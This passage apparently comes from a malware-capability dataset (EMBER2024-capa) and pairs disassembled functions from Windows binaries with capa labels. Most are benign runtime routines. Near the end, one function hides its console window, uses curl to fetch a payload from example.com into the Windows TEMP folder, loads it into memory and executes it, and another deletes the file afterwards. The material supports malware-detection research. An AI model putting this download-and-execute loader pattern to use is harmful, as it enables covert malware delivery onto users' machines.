joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140003ad0
Capabilities:
Read file on windows

Disassembly:
push r15
mov eax, 0x1038
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
call fcn.140006750
sub rsp, rax
xor ecx, ecx
mov r12, qword [dbg.__acrt_iob_func]
xor ebx, ebx
call r12
mov rcx, rax
call qword [sym.imp.msvcrt.dll__fileno]
mov edx, 0x8000
mov ecx, eax
call qword [sym.imp.msvcrt.dll__setmode]
lea rsi, [rsp + 0x30]
lea rbp, [rsp + 0x28]
mov rdi, rsi
jmp 0x140003b38
cmp rax, 8
jne 0x140003b5b
mov rdx, rdi
mov rcx, rbp
add ebx, 7
add rdi, 7
call sym.descramble
xor ecx, ecx
call r12
mov r8d, 8
mov edx, 1
mov rcx, rbp
mov r9, rax
call sym.fread
cmp ebx, 0xfff
jle 0x140003b20
lea eax, [rbx - 0x230]
cmp eax, 0x700
ja 0x140003cf0
movzx edi, byte [rsp + 0x90]
movzx ebp, byte [rsp + 0x8f]
lea rcx, str.SIZE__03d_n
mov r15d, 0x70
movzx r12d, byte [rsp + 0x8b]
lea r13, [0x14000d52f]
mov eax, edi
shl ebp, 4
shr al, 4
movzx eax, al
add ebp, eax
cmp ebp, 0xf
lea eax, [rbp - 0xb0]
cmovg ebp, eax
movzx eax, byte [rsp + 0x8c]
shl r12d, 4
shr al, 4
movzx eax, al
add r12d, eax
cmp r12d, 0xf
lea eax, [r12 - 0xb0]
cmovg r12d, eax
movzx eax, byte [rsp + 0x91]
shl edi, 8
and edi, 0xf00
add edi, eax
cmp edi, 0xf
lea eax, [rdi - 0xb0]
cmovg edi, eax
mov eax, ebx
imul rax, rax, 0x24924925
shr rax, 0x20
sub ebx, eax
mov edx, ebx
lea ebx, [rdi*8]
shr edx, 1
sub ebx, edi
add edx, eax
shr edx, 2
sub edx, ebp
call sym.printf_1
mov edx, r12d
lea rcx, str.First_statistical_register___03d_n_n
lea r12, str.Buffer__x___d_register_s__n
sub edx, ebp
call sym.printf_1
lea r8, [0x14000d52f]
xor edx, edx
lea rcx, str._d_KAR_s_found_n
call sym.printf_1
cmp ebx, 0x70
jle 0x140003c9f
movsxd rcx, r15d
movzx edx, byte [rsp + rcx + 0x30]
test dl, dl
je 0x140003c9f
mov r8d, edx
mov eax, edx
shl r8d, 4
sub eax, r8d
add eax, 7
cmp al, 0xe
ja 0x140003c9f
movsx r14d, byte [rsp + rcx + 0x31]
and edx, 0xf
cmp r14d, 1
je 0x140003cc8
mov r9, r13
mov r8d, r14d
mov rcx, r12
call sym.printf.constprop.0_2
lea eax, [r14*8]
sub eax, r14d
add r15d, eax
cmp ebx, r15d
jg 0x140003c50
mov r8d, edi
mov edx, ebp
mov rcx, rsi
call sym.wcat41_prog_labels
xor eax, eax
add rsp, 0x1038
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
lea r9, [0x14000d541]
mov r8d, 1
mov rcx, r12
add r15d, 7
call sym.printf.constprop.0_2
cmp r15d, ebx
jl 0x140003c50
jmp 0x140003c9f
mov ecx, 2
call r12
lea rdx, str.This_is_not_a_Write_All_file__n
mov rcx, rax
call sym.fprintf.constprop.0_1
mov eax, 1
jmp 0x140003cae
Function at 0x140003e30
Capabilities:
Read file on windows

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x48
mov rbp, qword [dbg.__acrt_iob_func]
xor r14d, r14d
xor r13d, r13d
xor r12d, r12d
lea rdi, str.nrbfl_
lea r15, [0x14000d6e8]
mov rsi, rdx
mov ebx, ecx
xor ecx, ecx
call rbp
mov rcx, rax
call qword [sym.imp.msvcrt.dll__fileno]
mov edx, 0x8000
mov ecx, eax
call qword [sym.imp.msvcrt.dll__setmode]
mov rax, qword [0x14000e250]
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x2c], 0
mov dword [rax], 1
nop word [rax + rax]
mov r8, rdi
mov rdx, rsi
mov ecx, ebx
call sym.getopt
cmp eax, 0xffffffff
je 0x140003f00
cmp eax, 0x3f
je 0x140003f10
sub eax, 0x62
cmp eax, 0x10
ja case.0x140003ec6.99
movsxd rax, dword [r15 + rax*4]
add rax, r15
jmp rax
mov r14d, 1
jmp case.0x140003ec6.99
mov r13d, 1
jmp case.0x140003ec6.99
mov r12d, 1
jmp case.0x140003ec6.99
mov rax, qword [0x14000e250]
cmp dword [rax], ebx
je 0x140003f50
nop dword [rax + rax]
call sym.sdata_usage
mov eax, 1
add rsp, 0x48
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
mov dword [rsp + 0x2c], 1
jmp case.0x140003ec6.99
mov dword [rsp + 0x28], 1
jmp case.0x140003ec6.99
mov ecx, dword [rsp + 0x28]
test ecx, ecx
je 0x140003fa0
mov edx, dword [rsp + 0x2c]
test edx, edx
jne 0x14000404f
lea rbx, [rsp + 0x38]
jmp 0x140003f78
mov rcx, rbx
call sym.print_hex
xor ecx, ecx
call rbp
mov r8d, 8
mov edx, 1
mov rcx, rbx
mov r9, rax
call sym.fread
cmp rax, 8
je 0x140003f70
xor eax, eax
jmp 0x140003f1a
mov eax, dword [rsp + 0x2c]
lea rbx, [rsp + 0x38]
lea rsi, str.RR_03d_
test eax, eax
je 0x140003fd1
jmp 0x140004028
mov r9d, r13d
mov r8d, r12d
mov edx, r14d
mov rcx, rbx
call sym.print_record
xor ecx, ecx
call rbp
mov r8d, 8
mov edx, 1
mov rcx, rbx
mov r9, rax
call sym.fread
cmp rax, 8
je 0x140003fc0
xor eax, eax
jmp 0x140003f1a
mov edi, dword [rsp + 0x28]
mov rcx, rsi
mov edx, edi
call sym.printf.constprop.0_3
mov eax, edi
mov r9d, r13d
mov r8d, r12d
add eax, 1
mov edx, r14d
mov rcx, rbx
mov dword [rsp + 0x28], eax
call sym.print_record
xor ecx, ecx
call rbp
mov r8d, 8
mov edx, 1
mov rcx, rbx
mov r9, rax
call sym.fread
cmp rax, 8
je 0x140004000
xor eax, eax
jmp 0x140003f1a
xor esi, esi
lea rbx, [rsp + 0x38]
lea rdi, str.RR_03d_
jmp 0x140004075
mov edx, esi
mov rcx, rdi
add esi, 1
call sym.printf.constprop.0_3
mov rcx, rbx
call sym.print_hex
xor ecx, ecx
call rbp
mov r8d, 8
mov edx, 1
mov rcx, rbx
mov r9, rax
call sym.fread
cmp rax, 8
je 0x140004060
xor eax, eax
jmp 0x140003f1a

Function at 0x1400059b0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]
Function at 0x140005a20
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x1400110c4]
mov rbx, rcx
test esi, esi
jle 0x140005b50
mov rax, qword [0x1400110c8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140005a6b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140005af5
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140005a50
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x140005b72
mov rax, qword [0x1400110c8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1400110c8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140005b57
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140005aee
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140005b00
add dword [0x1400110c4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x1400110c8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140005aee
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor esi, esi
jmp 0x140005a78
mov rax, qword [0x1400110c8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x1400060e0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140011120]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x140011100]
test rbx, rbx
je 0x14000613c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140006133
test rsi, rsi
je 0x140006133
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140006118
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x140006350
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140006368
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x140006370
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret
Function at 0x140006380
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x1400063cd
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x1400063c4
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x1400063cf
add rax, 0x28
cmp rax, r9
jne 0x1400063b0
xor eax, eax
ret

Function at 0x1400063d0
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x140006460
mov rdx, qword [0x14000e0e0]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x14000644e
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x14000644e
cmp word [rax + 0x18], 0x20b
jne 0x14000644e
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x140006460
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x140006439
add rbx, 0x28
cmp rbx, rdi
je 0x140006460
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x140006430
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x140006470
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14000e0e0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140006490
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140006498
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140006490
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x1400064ed
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x1400064e4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140006490
add rax, 0x28
cmp rax, r9
jne 0x1400064d0
xor eax, eax
ret

Function at 0x1400064f0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000e0e0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000650f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140006518
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000650f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140006530
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x14000e0e0]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x140006550
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x140006558
ret
cmp word [rdx + 0x18], 0x20b
jne 0x140006550
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x1400065a0
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x140006597
test rcx, rcx
je 0x140006550
sub rcx, 1
add rax, 0x28
cmp rax, rdx
jne 0x140006588
xor eax, eax
ret
Function at 0x1400065b0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000e0e0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x1400065cf
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x1400065d8
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x1400065f0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14000e0e0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140006610
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140006618
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140006610
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x140006610
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x140006664
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x140006670
add rdx, 0x28
cmp r9, rdx
jne 0x140006650
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x140006680
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x14000e0e0]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x1400066a2
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x1400066b0
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400066a2
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x1400066a2
movzx edx, word [r8 + 0x14]
movzx r10d, word [r8 + 6]
lea rdx, [r8 + rdx + 0x18]
test r10w, r10w
je 0x1400066a2
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x140006705
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x140006718
add rdx, 0x28
cmp rdx, r10
jne 0x1400066f0
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x140006727
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x140006737
mov edx, dword [rax + 0xc]
test edx, edx
je 0x14000670e
test ecx, ecx
jg 0x140006720
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x140001b10
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.1400078b0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.1400078b0
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]

Function at 0x140001b80
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x1400f7094]
test esi, esi
mov rbx, rcx
jle 0x140001cb0
mov rax, qword [0x1400f7098]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140001bcb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140001c55
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140001bb0
mov rcx, rbx
call fcn.1400025f0
test rax, rax
mov rdi, rax
je 0x140001cd2
mov rax, qword [0x1400f7098]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.140002730
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1400f7098]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001cb7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140001c4e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140001c60
add dword [0x1400f7094], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov r8d, 0x40
mov eax, 4
mov rcx, qword [rsp + 0x20]
cmove r8d, eax
mov rdx, qword [rsp + 0x38]
add rbx, qword [0x1400f7098]
mov r9, rbx
mov qword [rbx + 8], rcx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001c4e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140001b10
nop dword [rax]
xor esi, esi
jmp 0x140001bd8
mov rax, qword [0x1400f7098]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [rdi + 8]
mov r8, qword [rax + rbx + 0x18]
call fcn.140001b10
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call fcn.140001b10
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140002240
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x1400f7100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400f70e0]
test rbx, rbx
je 0x14000229c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140002293
test rsi, rsi
je 0x140002293
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140002278
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x1400024b0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [sym.imp.msvcrt.dll_exit]
call qword [rax]
nop
nop
sub rsp, 0x28
mov rax, qword [sym.imp.msvcrt.dll__exit]
call qword [rax]
nop
nop
nop
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x1400024e8
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x1400024f0
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x1400024c0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [sym.imp.msvcrt.dll_exit]
call qword [rax]
nop
nop
sub rsp, 0x28
mov rax, qword [sym.imp.msvcrt.dll__exit]
call qword [rax]
nop
nop
nop
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x1400024e8
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x1400024f0
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x1400024d0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [sym.imp.msvcrt.dll_exit]
call qword [rax]
nop
nop
sub rsp, 0x28
mov rax, qword [sym.imp.msvcrt.dll__exit]
call qword [rax]
nop
nop
nop
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x1400024e8
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x1400024f0
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x1400025f0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400f4830]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002610
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002618
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002610
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000266d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x140002664
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002610
add rax, 0x28
cmp rax, r9
jne 0x140002650
xor eax, eax
ret

Function at 0x140002670
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400f4830]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000268f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002698
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000268f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140002730
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400f4830]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000274f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002758
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x140001378
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, qword [0x14000b7f0]
mov dword [rax], 1
mov rax, qword [0x14000b800]
mov dword [rax], 1
mov rax, qword [0x14000b810]
mov dword [rax], 1
mov rax, qword [0x14000b7a0]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400013c9
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x1400013f5
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x10b
je 0x14000141b
cmp eax, 0x20b
je 0x140001442
jmp 0x140001471
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x5c]
cmp eax, 0xe
ja 0x14000142e
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x6c]
cmp eax, 0xe
ja 0x14000145d
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov eax, 0
add rsp, 0x20
pop rbp
ret

Function at 0x14000162a
Capabilities:
Execute command
Self delete

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
lea rax, str.del_C:WindowsTEMPpayload.bin
mov rcx, rax
call sym.system
nop
add rsp, 0x20
pop rbp
ret
Function at 0x140001648
Capabilities:
Execute command
Hide graphical window
Read file on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0xa0
call sym.__main
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call rax
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
lea rax, [rbp - 0x80]
lea r9, str.https:__example.com_payload.bin
lea r8, str.curl__s___output_C:WindowsTEMPpayload.bin
mov edx, 0x4a
mov rcx, rax
call dbg.snprintf
lea rax, [rbp - 0x80]
mov rcx, rax
call sym.system
test eax, eax
je 0x1400016b3
mov eax, 0xffffffff
jmp 0x14000178a
lea rax, [0x14000b06d]
mov rdx, rax
lea rax, str.C:WindowsTEMPpayload.bin
mov rcx, rax
call sym.fopen
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
je 0x140001763
mov rax, qword [rbp - 0x10]
mov r8d, 2
mov edx, 0
mov rcx, rax
call sym.fseek
test eax, eax
jne 0x140001766
mov rax, qword [rbp - 0x10]
mov rcx, rax
call sym.ftell
mov dword [rbp - 0x14], eax
cmp dword [rbp - 0x14], 0xffffffff
je 0x140001769
mov rax, qword [rbp - 0x10]
mov r8d, 0
mov edx, 0
mov rcx, rax
call sym.fseek
test eax, eax
jne 0x14000176c
mov eax, dword [rbp - 0x14]
mov rcx, rax
call sym.malloc
mov qword [rbp - 0x20], rax
mov edx, dword [rbp - 0x14]
mov rcx, qword [rbp - 0x10]
mov rax, qword [rbp - 0x20]
mov r9, rcx
mov r8, rdx
mov edx, 1
mov rcx, rax
call sym.fread
mov rax, qword [rbp - 0x20]
mov qword [rbp - 0x28], rax
mov rax, qword [rbp - 0x28]
call rax
jmp 0x14000176d
nop
jmp 0x14000176d
nop
jmp 0x14000176d
nop
jmp 0x14000176d
nop
cmp qword [rbp - 0x10], 0
je 0x140001780
mov rax, qword [rbp - 0x10]
mov rcx, rax
call sym.fclose
call dbg.cleanup
mov eax, 0
add rsp, 0xa0
pop rbp
ret

Function at 0x140001b00
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sym.__acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sym.fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sym.__acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call sym.vfprintf
call sym.abort
nop